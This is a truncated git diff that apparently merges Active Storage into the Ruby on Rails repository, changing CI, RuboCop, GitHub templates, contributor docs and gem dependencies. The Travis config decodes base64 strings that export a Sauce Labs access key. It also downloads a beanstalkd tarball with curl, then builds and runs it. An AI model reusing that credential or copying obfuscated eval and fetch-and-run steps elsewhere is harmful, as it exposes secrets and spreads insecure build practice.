3456 files changed, 404177 insertions, 290 deletions

diff --git a/.codeclimate.yml b/.codeclimate.yml
index 18f3dbb7b5..17fcaa4360 100644
--- a/.codeclimate.yml
+++ b/.codeclimate.yml
@@ -5,3 +5,9 @@ engines:
 ratings:
   paths:
   - "**.rb"
+
+exclude_paths:
+  - ci/
+  - guides/
+  - tasks/
+  - tools/
diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000000..f6276855ce
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,2 @@
+*.rb diff=ruby
+*.gemspec diff=ruby
diff --git a/.github/issue_template.md b/.github/issue_template.md
new file mode 100644
index 0000000000..2d071d4a71
--- /dev/null
+++ b/.github/issue_template.md
@@ -0,0 +1,15 @@
+### Steps to reproduce
+
+(Guidelines for creating a bug report are [available
+here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#creating-a-bug-report))
+
+### Expected behavior
+Tell us what should happen
+
+### Actual behavior
+Tell us what happens instead
+
+### System configuration
+**Rails version**:
+
+**Ruby version**:
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
new file mode 100644
index 0000000000..214d63740c
--- /dev/null
+++ b/.github/pull_request_template.md
@@ -0,0 +1,21 @@
+### Summary
+
+Provide a general description of the code changes in your pull
+request... were there any bugs you had fixed? If so, mention them. If
+these bugs have open GitHub issues, be sure to tag them here as well,
+to keep the conversation linked together.
+
+### Other Information
+
+If there's anything else that's important and relevant to your pull
+request, mention that information here. This could include
+benchmarks, or other information.
+
+If you are updating any of the CHANGELOG files or are asked to update the
+CHANGELOG files by reviewers, please add the CHANGELOG entry at the top of the file.
+
+Finally, if your pull request affects documentation or any non-code
+changes, guidelines for those changes are [available
+here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation)
+
+Thanks for contributing to Rails!
diff --git a/.github/stale.yml b/.github/stale.yml
new file mode 100644
index 0000000000..71704b3cd7
--- /dev/null
+++ b/.github/stale.yml
@@ -0,0 +1,28 @@
+# Number of days of inactivity before an issue becomes stale
+daysUntilStale: 90
+# Number of days of inactivity before a stale issue is closed
+daysUntilClose: 7
+# Issues with these labels will never be considered stale
+exemptLabels:
+  - pinned
+  - security
+  - With reproduction steps
+  - attached PR
+  - regression
+  - release blocker
+# Label to use when marking an issue as stale
+staleLabel: stale
+# Comment to post when marking an issue as stale. Set to `false` to disable
+markComment: >
+  This issue has been automatically marked as stale because it has not been commented on for at least three months.
+
+  The resources of the Rails team are limited, and so we are asking for your help.
+
+  If you can still reproduce this error on the `5-1-stable` branch or on `master`,
+  please reply with all of the information you have about it in order to keep the issue open.
+
+  Thank you for all your contributions.
+# Comment to post when closing a stale issue. Set to `false` to disable
+closeComment: false
+# Limit to only `issues` or `pulls`
+only: issues
diff --git a/.gitignore b/.gitignore
index c5ff07cedd..32939b7bfd 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,24 @@
+# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore.
+# Check out https://help.github.com/articles/ignoring-files for how to set that up.
+
+.Gemfile
+.ruby-version
 .byebug_history
-/node_modules
-test/dummy/db/*.sqlite3
-test/dummy/db/*.sqlite3-journal
-test/dummy/log/*.log
-test/dummy/tmp/
+debug.log
+pkg
+/.bundle
+/dist
+/doc/rdoc
+/*/doc
+/*/test/tmp
+/activerecord/sqlnet.log
+/activemodel/test/fixtures/fixture_database.sqlite3
+/activesupport/test/fixtures/isolation_test
+/railties/test/500.html
+/railties/test/fixtures/tmp
+/railties/test/initializer/root/log
+/railties/doc
+/railties/tmp
+/guides/output
+node_modules/
+/actionview/log
diff --git a/.rubocop.yml b/.rubocop.yml
index 452e1b1e7f..0408ca4aa1 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -1,5 +1,5 @@
 AllCops:
-  TargetRubyVersion: 2.3
+  TargetRubyVersion: 2.2
   # RuboCop has a bunch of cops enabled by default. This setting tells RuboCop
   # to ignore them, so only the ones explicitly set in this file are enabled.
   DisabledByDefault: true
@@ -8,6 +8,15 @@ AllCops:
     - '**/vendor/**/*'
     - 'actionpack/lib/action_dispatch/journey/parser.rb'
 
+# Prefer &&/|| over and/or.
+Style/AndOr:
+  Enabled: true
+
+# Do not use braces for hash literals when they are the last argument of a
+# method call.
+Style/BracesAroundHashParameters:
+  Enabled: true
+
 # Align `when` with `case`.
 Layout/CaseIndentation:
   Enabled: true
@@ -16,9 +25,12 @@ Layout/CaseIndentation:
 Layout/CommentIndentation:
   Enabled: true
 
+Layout/EmptyLineAfterMagicComment:
+  Enabled: true
+
 # No extra empty lines.
 Layout/EmptyLines:
-  Enabled: false
+  Enabled: true
 
 # In a regular class definition, no empty lines around the body.
 Layout/EmptyLinesAroundClassBody:
@@ -32,6 +44,13 @@ Layout/EmptyLinesAroundMethodBody:
 Layout/EmptyLinesAroundModuleBody:
   Enabled: true
 
+Layout/FirstParameterIndentation:
+  Enabled: true
+
+# Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.
+Style/HashSyntax:
+  Enabled: true
+
 # Method definitions after `private` or `protected` isolated calls need one
 # extra level of indentation.
 Layout/IndentationConsistency:
@@ -60,6 +79,28 @@ Layout/SpaceAroundOperators:
 Layout/SpaceBeforeFirstArg:
     Enabled: true
 
+# Defining a method with parameters needs parentheses.
+Style/MethodDefParentheses:
+  Enabled: true
+
+Style/FrozenStringLiteralComment:
+  Enabled: true
+  EnforcedStyle: always
+  Include:
+    - 'activesupport/**/*'
+    - 'activemodel/**/*'
+    - 'actioncable/**/*'
+    - 'activejob/**/*'
+    - 'activerecord/**/*'
+    - 'actionmailer/**/*'
+    - 'actionview/**/*'
+    - 'actionpack/**/*'
+  Exclude:
+    - 'actionview/test/**/*.builder'
+    - 'actionview/test/**/*.ruby'
+    - 'actionpack/test/**/*.builder'
+    - 'actionpack/test/**/*.ruby'
+
 # Use `foo {}` not `foo{}`.
 Layout/SpaceBeforeBlockBraces:
   Enabled: true
@@ -75,6 +116,11 @@ Layout/SpaceInsideHashLiteralBraces:
 Layout/SpaceInsideParens:
   Enabled: true
 
+# Check quotes usage according to lint rule below.
+Style/StringLiterals:
+  Enabled: true
+  EnforcedStyle: double_quotes
+
 # Detect hard tabs, no hard tabs.
 Layout/Tab:
   Enabled: true
@@ -87,29 +133,6 @@ Layout/TrailingBlankLines:
 Layout/TrailingWhitespace:
   Enabled: true
 
-# Prefer &&/|| over and/or.
-Style/AndOr:
-  Enabled: true
-
-# Do not use braces for hash literals when they are the last argument of a
-# method call.
-Style/BracesAroundHashParameters:
-  Enabled: true
-  EnforcedStyle: context_dependent
-
-# Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.
-Style/HashSyntax:
-  Enabled: true
-
-# Defining a method with parameters needs parentheses.
-Style/MethodDefParentheses:
-  Enabled: true
-
-# Check quotes usage according to lint rule below.
-Style/StringLiterals:
-  Enabled: true
-  EnforcedStyle: double_quotes
-
 # Use quotes for string literals when they are enough.
 Style/UnneededPercentQ:
   Enabled: true
diff --git a/.travis.yml b/.travis.yml
index 89edc05c78..91ac7e8e5e 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,25 +1,122 @@
 language: ruby
 sudo: false
-bundler: true
-
-rvm:
-  - 2.3
-  - 2.4
-  - ruby-head
 
 cache:
   bundler: true
-  yarn: true
+  directories:
+    - /tmp/cache/unicode_conformance
+    - /tmp/beanstalkd-1.10
+    - node_modules
+    - $HOME/.nvm
+
+services:
+  - memcached
+
+addons:
+  postgresql: "9.4"
+
+bundler_args: --without test --jobs 3 --retry 3
+before_install:
+  - "rm ${BUNDLE_GEMFILE}.lock"
+  - "gem update --system"
+  - "gem update bundler"
+  - "[ -f /tmp/beanstalkd-1.10/Makefile ] || (curl -L https://github.com/kr/beanstalkd/archive/v1.10.tar.gz | tar xz -C /tmp)"
+  - "pushd /tmp/beanstalkd-1.10 && make && (./beanstalkd &); popd"
+  - "[[ $GEM != 'av:ujs' ]] || nvm install node"
+  - "[[ $GEM != 'av:ujs' ]] || node --version"
+  - "[[ $GEM != 'av:ujs' ]] || (cd actionview && npm install)"
+  - "[[ $GEM != 'av:ujs' ]] || [[ $(phantomjs --version) > '2' ]] || npm install -g phantomjs-prebuilt"
+
+
+before_script:
+  # Set Sauce Labs username and access key. Obfuscated, purposefully not encrypted.
+  # Decodes to e.g. `export VARIABLE=VALUE`
+  - $(base64 --decode <<< "ZXhwb3J0IFNBVUNFX0FDQ0VTU19LRVk9YTAzNTM0M2YtZTkyMi00MGIzLWFhM2MtMDZiM2VhNjM1YzQ4")
+  - $(base64 --decode <<< "ZXhwb3J0IFNBVUNFX1VTRVJOQU1FPXJ1YnlvbnJhaWxz")
+  - redis-server --bind 127.0.0.1 --port 6379 --requirepass 'password' --daemonize yes
+
+script: 'ci/travis.rb'
+
+env:
+  global:
+    - "JRUBY_OPTS='--dev -J-Xmx1024M'"
+  matrix:
+    - "GEM=railties"
+    - "GEM=ap,ac"
+    - "GEM=am,amo,as,av,aj"
+    - "GEM=as PRESERVE_TIMEZONES=1"
+    - "GEM=ar:mysql2"
+    - "GEM=ar:sqlite3"
+    - "GEM=ar:postgresql"
+    - "GEM=guides"
+    - "GEM=ac:integration"
+
+rvm:
+  - 2.2.7
+  - 2.3.4
+  - 2.4.1
+  - ruby-head
 
 matrix:
+  include:
+    - rvm: 2.4.1
+      env: "GEM=av:ujs"
+    - rvm: 2.2.7
+      env: "GEM=aj:integration"
+      services:
+        - memcached
+        - rabbitmq
+    - rvm: 2.3.4
+      env: "GEM=aj:integration"
+      services:
+        - memcached
+        - rabbitmq
+    - rvm: 2.4.1
+      env: "GEM=aj:integration"
+      services:
+        - memcached
+        - rabbitmq
+    - rvm: ruby-head
+      env: "GEM=aj:integration"
+      services:
+        - memcached
+        - rabbitmq
+    - rvm: 2.3.4
+      env:
+        - "GEM=ar:mysql2 MYSQL=mariadb"
+      addons:
+        mariadb: 10.0
+    - rvm: 2.3.4
+      env:
+        - "GEM=ar:sqlite3_mem"
+    - rvm: 2.3.4
+      env:
+        - "GEM=ar:postgresql POSTGRES=9.2"
+      addons:
+        postgresql: "9.2"
+    - rvm: jruby-9.1.12.0
+      jdk: oraclejdk8
+      env:
+        - "GEM=ap"
+    - rvm: jruby-9.1.12.0
+      jdk: oraclejdk8
+      env:
+        - "GEM=am,amo,aj"
   allow_failures:
     - rvm: ruby-head
+    - rvm: jruby-9.1.12.0
+    - env: "GEM=ac:integration"
   fast_finish: true
 
-install:
-  - bundle install
-  - yarn install
-
-script:
-  - bundle exec rake
-  - yarn lint
+notifications:
+  email: false
+  irc:
+    on_success: change
+    on_failure: always
+    channels:
+      - "irc.freenode.org#rails-contrib"
+  campfire:
+    on_success: change
+    on_failure: always
+    rooms:
+      - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
diff --git a/.yardopts b/.yardopts
new file mode 100644
index 0000000000..25ec38658f
--- /dev/null
+++ b/.yardopts
@@ -0,0 +1,4 @@
+--exclude /templates/
+--quiet
+act*/lib/**/*.rb
+railties/lib/**/*.rb
diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
new file mode 100644
index 0000000000..078d5f1219
--- /dev/null
+++ b/CODE_OF_CONDUCT.md
@@ -0,0 +1,12 @@
+# Contributor Code of Conduct
+
+The Rails team is committed to fostering a welcoming community.
+
+**Our Code of Conduct can be found here**:
+
+http://rubyonrails.org/conduct/
+
+For a history of updates, see the page history here:
+
+https://github.com/rails/rails.github.com/commits/master/conduct/index.html
+
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000000..097e2f2f49
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,49 @@
+## How to contribute to Ruby on Rails
+
+#### **Did you find a bug?**
+
+* **Do not open up a GitHub issue if the bug is a security vulnerability
+  in Rails**, and instead to refer to our [security policy](http://rubyonrails.org/security/).
+
+* **Ensure the bug was not already reported** by searching on GitHub under [Issues](https://github.com/rails/rails/issues).
+
+* If you're unable to find an open issue addressing the problem, [open a new one](https://github.com/rails/rails/issues/new). Be sure to include a **title and clear description**, as much relevant information as possible, and a **code sample** or an **executable test case** demonstrating the expected behavior that is not occurring.
+
+* If possible, use the relevant bug report templates to create the issue. Simply copy the content of the appropriate template into a .rb file, make the necessary changes to demonstrate the issue, and **paste the content into the issue description**:
+  * [**Active Record** (models, database) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
+  * [**Action Pack** (controllers, routing) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
+  * [**Generic template** for other issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb)
+
+* For more detailed information on submitting a bug report and creating an issue, visit our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue).
+
+#### **Did you write a patch that fixes a bug?**
+
+* Open a new GitHub pull request with the patch.
+
+* Ensure the PR description clearly describes the problem and solution. Include the relevant issue number if applicable.
+
+* Before submitting, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide to know more about coding conventions and benchmarks.
+
+#### **Did you fix whitespace, format code, or make a purely cosmetic patch?**
+
+Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
+
+#### **Do you intend to add a new feature or change an existing one?**
+
+* Suggest your change in the [rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
+
+* Do not open an issue on GitHub until you have collected positive feedback about the change. GitHub issues are primarily intended for bug reports and fixes.
+
+#### **Do you have questions about the source code?**
+
+* Ask any question about how to use Ruby on Rails in the [rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+
+#### **Do you want to contribute to the Rails documentation?**
+
+* Please read [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation).
+
+Ruby on Rails is a volunteer effort. We encourage you to pitch in and [join the team](http://contributors.rubyonrails.org)!
+
+Thanks! :heart: :heart: :heart:
+
+Rails Team
diff --git a/Gemfile b/Gemfile
index b8b6e80176..9a07908885 100644
--- a/Gemfile
+++ b/Gemfile
@@ -1,23 +1,159 @@
 source "https://rubygems.org"
 
-git_source(:github) { |repo_path| "https://github.com/#{repo_path}.git" }
+git_source(:github) do |repo_name|
+  repo_name = "#{repo_name}/#{repo_name}" unless repo_name.include?("/")
+  "https://github.com/#{repo_name}.git"
+end
 
 gemspec
 
-gem "rails", github: "rails/rails"
+gem "arel", github: "rails/arel"
 
-gem "rake"
-gem "byebug"
+# We need a newish Rake since Active Job sets its test tasks' descriptions.
+gem "rake", ">= 11.1"
+gem "thor", github: "erikhuda/thor"
 
-gem "sqlite3"
-gem "httparty"
+# This needs to be with require false to ensure correct loading order, as it has to
+# be loaded after loading the test library.
+gem "mocha", "~> 0.14", require: false
 
-gem "aws-sdk", "~> 2", require: false
-gem "google-cloud-storage", "~> 1.3", require: false
-# Contains fix to be able to test using StringIO
-gem 'azure-core', git: "https://github.com/dixpac/azure-ruby-asm-core.git"
-gem 'azure-storage', require: false
+gem "capybara", "~> 2.13"
 
-gem "mini_magick"
+gem "rack-cache", "~> 1.2"
+gem "jquery-rails"
+gem "coffee-rails"
+gem "sass-rails", github: "rails/sass-rails", branch: "5-0-stable"
+gem "turbolinks", "~> 5"
 
-gem "rubocop", require: false
+# require: false so bcrypt is loaded only when has_secure_password is used.
+# This is to avoid Active Model (and by extension the entire framework)
+# being dependent on a binary library.
+gem "bcrypt", "~> 3.1.11", require: false
+
+# This needs to be with require false to avoid it being automatically loaded by
+# sprockets.
+gem "uglifier", ">= 1.3.0", require: false
+
+# Explicitly avoid 1.x that doesn't support Ruby 2.4+
+gem "json", ">= 2.0.0"
+
+gem "rubocop", ">= 0.47", require: false
+
+gem "rb-inotify", github: "matthewd/rb-inotify", branch: "close-handling", require: false
+
+group :doc do
+  gem "sdoc", "> 1.0.0.rc1", "< 2.0"
+  gem "redcarpet", "~> 3.2.3", platforms: :ruby
+  gem "w3c_validators"
+  gem "kindlerb", "~> 1.2.0"
+end
+
+# Active Support.
+gem "dalli", ">= 2.2.1"
+gem "listen", ">= 3.0.5", "< 3.2", require: false
+gem "libxml-ruby", platforms: :ruby
+
+# Action View. For testing Erubis handler deprecation.
+gem "erubis", "~> 2.7.0", require: false
+
+# for railties app_generator_test
+gem "bootsnap", ">= 1.1.0", require: false
+
+# Active Job.
+group :job do
+  gem "resque", require: false
+  gem "resque-scheduler", require: false
+  gem "sidekiq", require: false
+  gem "sucker_punch", require: false
+  gem "delayed_job", require: false
+  gem "queue_classic", github: "QueueClassic/queue_classic", branch: "master", require: false, platforms: :ruby
+  gem "sneakers", require: false
+  gem "que", require: false
+  gem "backburner", require: false
+  #TODO: add qu after it support Rails 5.1
+  # gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false
+  gem "qu-redis", require: false
+  gem "delayed_job_active_record", require: false
+  gem "sequel", require: false
+end
+
+# Action Cable
+group :cable do
+  gem "puma", require: false
+
+  gem "em-hiredis", require: false
+  gem "hiredis", require: false
+  gem "redis", require: false
+
+  gem "websocket-client-simple", github: "matthewd/websocket-client-simple", branch: "close-race", require: false
+
+  gem "blade", require: false, platforms: [:ruby]
+  gem "blade-sauce_labs_plugin", require: false, platforms: [:ruby]
+  gem "sprockets-export", require: false
+end
+
+# Add your own local bundler stuff.
+local_gemfile = File.expand_path(".Gemfile", __dir__)
+instance_eval File.read local_gemfile if File.exist? local_gemfile
+
+group :test do
+  # FIX: Our test suite isn't ready to run in random order yet.
+  gem "minitest", "< 5.3.4"
+
+  platforms :mri do
+    gem "stackprof"
+    gem "byebug"
+  end
+
+  gem "benchmark-ips"
+end
+
+platforms :ruby, :mswin, :mswin64, :mingw, :x64_mingw do
+  gem "nokogiri", ">= 1.6.8"
+
+  # Needed for compiling the ActionDispatch::Journey parser.
+  gem "racc", ">=1.4.6", require: false
+
+  # Active Record.
+  gem "sqlite3", "~> 1.3.6"
+
+  group :db do
+    gem "pg", ">= 0.18.0"
+    gem "mysql2", ">= 0.4.4"
+  end
+end
+
+platforms :jruby do
+  if ENV["AR_JDBC"]
+    gem "activerecord-jdbcsqlite3-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
+    group :db do
+      gem "activerecord-jdbcmysql-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
+      gem "activerecord-jdbcpostgresql-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
+    end
+  else
+    gem "activerecord-jdbcsqlite3-adapter", ">= 1.3.0"
+    group :db do
+      gem "activerecord-jdbcmysql-adapter", ">= 1.3.0"
+      gem "activerecord-jdbcpostgresql-adapter", ">= 1.3.0"
+    end
+  end
+end
+
+platforms :rbx do
+  # The rubysl-yaml gem doesn't ship with Psych by default as it needs
+  # libyaml that isn't always available.
+  gem "psych", "~> 2.0"
+end
+
+# Gems that are necessary for Active Record tests with Oracle.
+if ENV["ORACLE_ENHANCED"]
+  platforms :ruby do
+    gem "ruby-oci8", "~> 2.2"
+  end
+  gem "activerecord-oracle_enhanced-adapter", github: "rsim/oracle-enhanced", branch: "master"
+end
+
+# A gem necessary for Active Record tests with IBM DB.
+gem "ibm_db" if ENV["IBM_DB"]
+gem "tzinfo-data", platforms: [:mingw, :mswin, :x64_mingw, :jruby]
+gem "wdm", ">= 0.1.0", platforms: [:mingw, :mswin, :x64_mingw, :mswin64]
diff --git a/Gemfile.lock b/Gemfile.lock
index 7388096778..a6f7286994 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,15 +1,54 @@
 GIT
-  remote: https://github.com/dixpac/azure-ruby-asm-core.git
-  revision: 4403389747f44a94b73e7a7522d1ea11f8b1a266
+  remote: https://github.com/QueueClassic/queue_classic.git
+  revision: cde82d17ded2799ed726dd7b0df6ce1fd4c1b7da
+  branch: master
   specs:
-    azure-core (0.1.8)
-      faraday (~> 0.9)
-      faraday_middleware (~> 0.10)
-      nokogiri (~> 1.7)
+    queue_classic (3.2.0.RC1)
+      pg (>= 0.17, < 0.20)
 
 GIT
-  remote: https://github.com/rails/rails.git
-  revision: 127b475dc251a06942fe0cd2de2e0545cf5ed69f
+  remote: https://github.com/erikhuda/thor.git
+  revision: df5ba2b653a28087b3617d6c082b00866b0c0d6c
+  specs:
+    thor (0.19.4)
+
+GIT
+  remote: https://github.com/matthewd/rb-inotify.git
+  revision: 856730aad4b285969e8dd621e44808a7c5af4242
+  branch: close-handling
+  specs:
+    rb-inotify (0.9.9)
+      ffi (~> 1.0)
+
+GIT
+  remote: https://github.com/matthewd/websocket-client-simple.git
+  revision: e161305f1a466b9398d86df3b1731b03362da91b
+  branch: close-race
+  specs:
+    websocket-client-simple (0.3.0)
+      event_emitter
+      websocket
+
+GIT
+  remote: https://github.com/rails/arel.git
+  revision: f4227bf20a16a1d688afc24cf0038e2f98905dd4
+  specs:
+    arel (9.0.0.alpha)
+
+GIT
+  remote: https://github.com/rails/sass-rails.git
+  revision: bb5c1d34e8acad2e2960cc785184ffe17d7b3bca
+  branch: 5-0-stable
+  specs:
+    sass-rails (5.0.6)
+      railties (>= 4.0.0, < 6)
+      sass (~> 3.1)
+      sprockets (>= 2.8, < 4.0)
+      sprockets-rails (>= 2.0, < 4.0)
+      tilt (>= 1.1, < 3)
+
+PATH
+  remote: .
   specs:
     actioncable (5.2.0.alpha)
       actionpack (= 5.2.0.alpha)
@@ -25,7 +64,7 @@ GIT
       actionview (= 5.2.0.alpha)
       activesupport (= 5.2.0.alpha)
       rack (~> 2.0)
-      rack-test (~> 0.6.3)
+      rack-test (>= 0.6.3)
       rails-dom-testing (~> 2.0)
       rails-html-sanitizer (~> 1.0, >= 1.0.2)
     actionview (5.2.0.alpha)
@@ -42,7 +81,7 @@ GIT
     activerecord (5.2.0.alpha)
       activemodel (= 5.2.0.alpha)
       activesupport (= 5.2.0.alpha)
-      arel (~> 8.0)
+      arel (= 9.0.0.alpha)
     activesupport (5.2.0.alpha)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (~> 0.7)
@@ -67,106 +106,183 @@ GIT
       rake (>= 0.8.7)
       thor (>= 0.18.1, < 2.0)
 
-PATH
-  remote: .
-  specs:
-    activestorage (0.1)
-      rails (>= 5.2.0.alpha)
-
 GEM
   remote: https://rubygems.org/
   specs:
     addressable (2.5.1)
       public_suffix (~> 2.0, >= 2.0.2)
-    arel (8.0.0)
+    amq-protocol (2.2.0)
     ast (2.3.0)
-    aws-sdk (2.10.7)
-      aws-sdk-resources (= 2.10.7)
-    aws-sdk-core (2.10.7)
-      aws-sigv4 (~> 1.0)
-      jmespath (~> 1.0)
-    aws-sdk-resources (2.10.7)
-      aws-sdk-core (= 2.10.7)
-    aws-sigv4 (1.0.0)
-    azure-storage (0.11.4.preview)
-      azure-core (~> 0.1)
-      faraday (~> 0.9)
-      faraday_middleware (~> 0.10)
-      nokogiri (~> 1.6)
+    backburner (1.4.1)
+      beaneater (~> 1.0)
+      concurrent-ruby (~> 1.0.1)
+      dante (> 0.1.5)
+    bcrypt (3.1.11)
+    bcrypt (3.1.11-x64-mingw32)
+    bcrypt (3.1.11-x86-mingw32)
+    beaneater (1.0.0)
+    benchmark-ips (2.7.2)
+    blade (0.7.0)
+      activesupport (>= 3.0.0)
+      blade-qunit_adapter (~> 2.0.1)
+      coffee-script
+      coffee-script-source
+      curses (~> 1.0.0)
+      eventmachine
+      faye
+      sprockets (>= 3.0)
+      thin (>= 1.6.0)
+      thor (~> 0.19.1)
+      useragent (~> 0.16.7)
+    blade-qunit_adapter (2.0.1)
+    blade-sauce_labs_plugin (0.7.1)
+      childprocess
+      faraday
+      selenium-webdriver
+    bootsnap (1.1.2)
+      msgpack (~> 1.0)
     builder (3.2.3)
+    bunny (2.6.6)
+      amq-protocol (>= 2.1.0)
     byebug (9.0.6)
+    capybara (2.14.4)
+      addressable
+      mime-types (>= 1.16)
+      nokogiri (>= 1.3.3)
+      rack (>= 1.0.0)
+      rack-test (>= 0.5.4)
+      xpath (~> 2.0)
+    childprocess (0.7.1)
+      ffi (~> 1.0, >= 1.0.11)
+    coffee-rails (4.2.2)
+      coffee-script (>= 2.2.0)
+      railties (>= 4.0.0)
+    coffee-script (2.4.1)
+      coffee-script-source
+      execjs
+    coffee-script-source (1.12.2)
     concurrent-ruby (1.0.5)
-    declarative (0.0.9)
-    declarative-option (0.1.0)
-    digest-crc (0.4.1)
+    connection_pool (2.2.1)
+    cookiejar (0.3.3)
+    curses (1.0.2)
+    daemons (1.2.4)
+    dalli (2.7.6)
+    dante (0.2.0)
+    delayed_job (4.1.3)
+      activesupport (>= 3.0, < 5.2)
+    delayed_job_active_record (4.1.2)
+      activerecord (>= 3.0, < 5.2)
+      delayed_job (>= 3.0, < 5)
+    em-hiredis (0.3.1)
+      eventmachine (~> 1.0)
+      hiredis (~> 0.6.0)
+    em-http-request (1.1.5)
+      addressable (>= 2.3.4)
+      cookiejar (!= 0.3.1)
+      em-socksify (>= 0.3)
+      eventmachine (>= 1.0.3)
+      http_parser.rb (>= 0.6.0)
+    em-socksify (0.3.1)
+      eventmachine (>= 1.0.0.beta.4)
     erubi (1.6.1)
-    faraday (0.12.1)
+    erubis (2.7.0)
+    et-orbi (1.0.5)
+      tzinfo
+    event_emitter (0.2.6)
+    eventmachine (1.2.3)
+    eventmachine (1.2.3-x64-mingw32)
+    eventmachine (1.2.3-x86-mingw32)
+    execjs (2.7.0)
+    faraday (0.12.2)
       multipart-post (>= 1.2, < 3)
-    faraday_middleware (0.12.0)
-      faraday (>= 0.7.4, < 1.0)
+    faye (1.2.4)
+      cookiejar (>= 0.3.0)
+      em-http-request (>= 0.3.0)
+      eventmachine (>= 0.12.0)
+      faye-websocket (>= 0.9.1)
+      multi_json (>= 1.0.0)
+      rack (>= 1.0.0)
+      websocket-driver (>= 0.5.1)
+    faye-websocket (0.10.7)
+      eventmachine (>= 0.12.0)
+      websocket-driver (>= 0.5.1)
+    ffi (1.9.18)
+    ffi (1.9.18-x64-mingw32)
+    ffi (1.9.18-x86-mingw32)
     globalid (0.4.0)
       activesupport (>= 4.2.0)
-    google-api-client (0.13.0)
-      addressable (~> 2.5, >= 2.5.1)
-      googleauth (~> 0.5)
-      httpclient (>= 2.8.1, < 3.0)
-      mime-types (~> 3.0)
-      representable (~> 3.0)
-      retriable (>= 2.0, < 4.0)
-    google-cloud-core (1.0.0)
-      google-cloud-env (~> 1.0)
-      googleauth (~> 0.5.1)
-    google-cloud-env (1.0.1)
-      faraday (~> 0.11)
-    google-cloud-storage (1.3.0)
-      digest-crc (~> 0.4)
-      google-api-client (~> 0.13.0)
-      google-cloud-core (~> 1.0)
-    googleauth (0.5.1)
-      faraday (~> 0.9)
-      jwt (~> 1.4)
-      logging (~> 2.0)
-      memoist (~> 0.12)
-      multi_json (~> 1.11)
-      os (~> 0.9)
-      signet (~> 0.7)
-    httparty (0.15.5)
-      multi_xml (>= 0.5.2)
-    httpclient (2.8.3)
+    hiredis (0.6.1)
+    http_parser.rb (0.6.0)
     i18n (0.8.6)
-    jmespath (1.3.1)
-    jwt (1.5.6)
-    little-plugger (1.1.4)
-    logging (2.2.2)
-      little-plugger (~> 1.1)
-      multi_json (~> 1.10)
+    jquery-rails (4.3.1)
+      rails-dom-testing (>= 1, < 3)
+      railties (>= 4.2.0)
+      thor (>= 0.14, < 2.0)
+    json (2.1.0)
+    kindlerb (1.2.0)
+      mustache
+      nokogiri
+    libxml-ruby (3.0.0)
+    listen (3.1.5)
+      rb-fsevent (~> 0.9, >= 0.9.4)
+      rb-inotify (~> 0.9, >= 0.9.7)
+      ruby_dep (~> 1.2)
     loofah (2.0.3)
       nokogiri (>= 1.5.9)
     mail (2.6.6)
       mime-types (>= 1.16, < 4)
-    memoist (0.16.0)
+    metaclass (0.0.4)
     method_source (0.8.2)
     mime-types (3.1)
       mime-types-data (~> 3.2015)
     mime-types-data (3.2016.0521)
-    mini_magick (4.8.0)
     mini_portile2 (2.2.0)
-    minitest (5.10.3)
+    minitest (5.3.3)
+    mocha (0.14.0)
+      metaclass (~> 0.0.1)
+    mono_logger (1.1.0)
+    msgpack (1.1.0)
+    msgpack (1.1.0-x64-mingw32)
+    msgpack (1.1.0-x86-mingw32)
     multi_json (1.12.1)
-    multi_xml (0.6.0)
     multipart-post (2.0.0)
+    mustache (1.0.5)
+    mustermann (1.0.0)
+    mysql2 (0.4.8)
+    mysql2 (0.4.8-x64-mingw32)
+    mysql2 (0.4.8-x86-mingw32)
     nio4r (2.1.0)
     nokogiri (1.8.0)
       mini_portile2 (~> 2.2.0)
-    os (0.9.6)
+    nokogiri (1.8.0-x64-mingw32)
+      mini_portile2 (~> 2.2.0)
+    nokogiri (1.8.0-x86-mingw32)
+      mini_portile2 (~> 2.2.0)
     parallel (1.11.2)
     parser (2.4.0.0)
       ast (~> 2.2)
+    pg (0.19.0)
+    pg (0.19.0-x64-mingw32)
+    pg (0.19.0-x86-mingw32)
     powerpack (0.1.1)
+    psych (2.2.4)
     public_suffix (2.0.5)
+    puma (3.9.1)
+    qu (0.2.0)
+      multi_json
+    qu-redis (0.2.0)
+      qu (= 0.2.0)
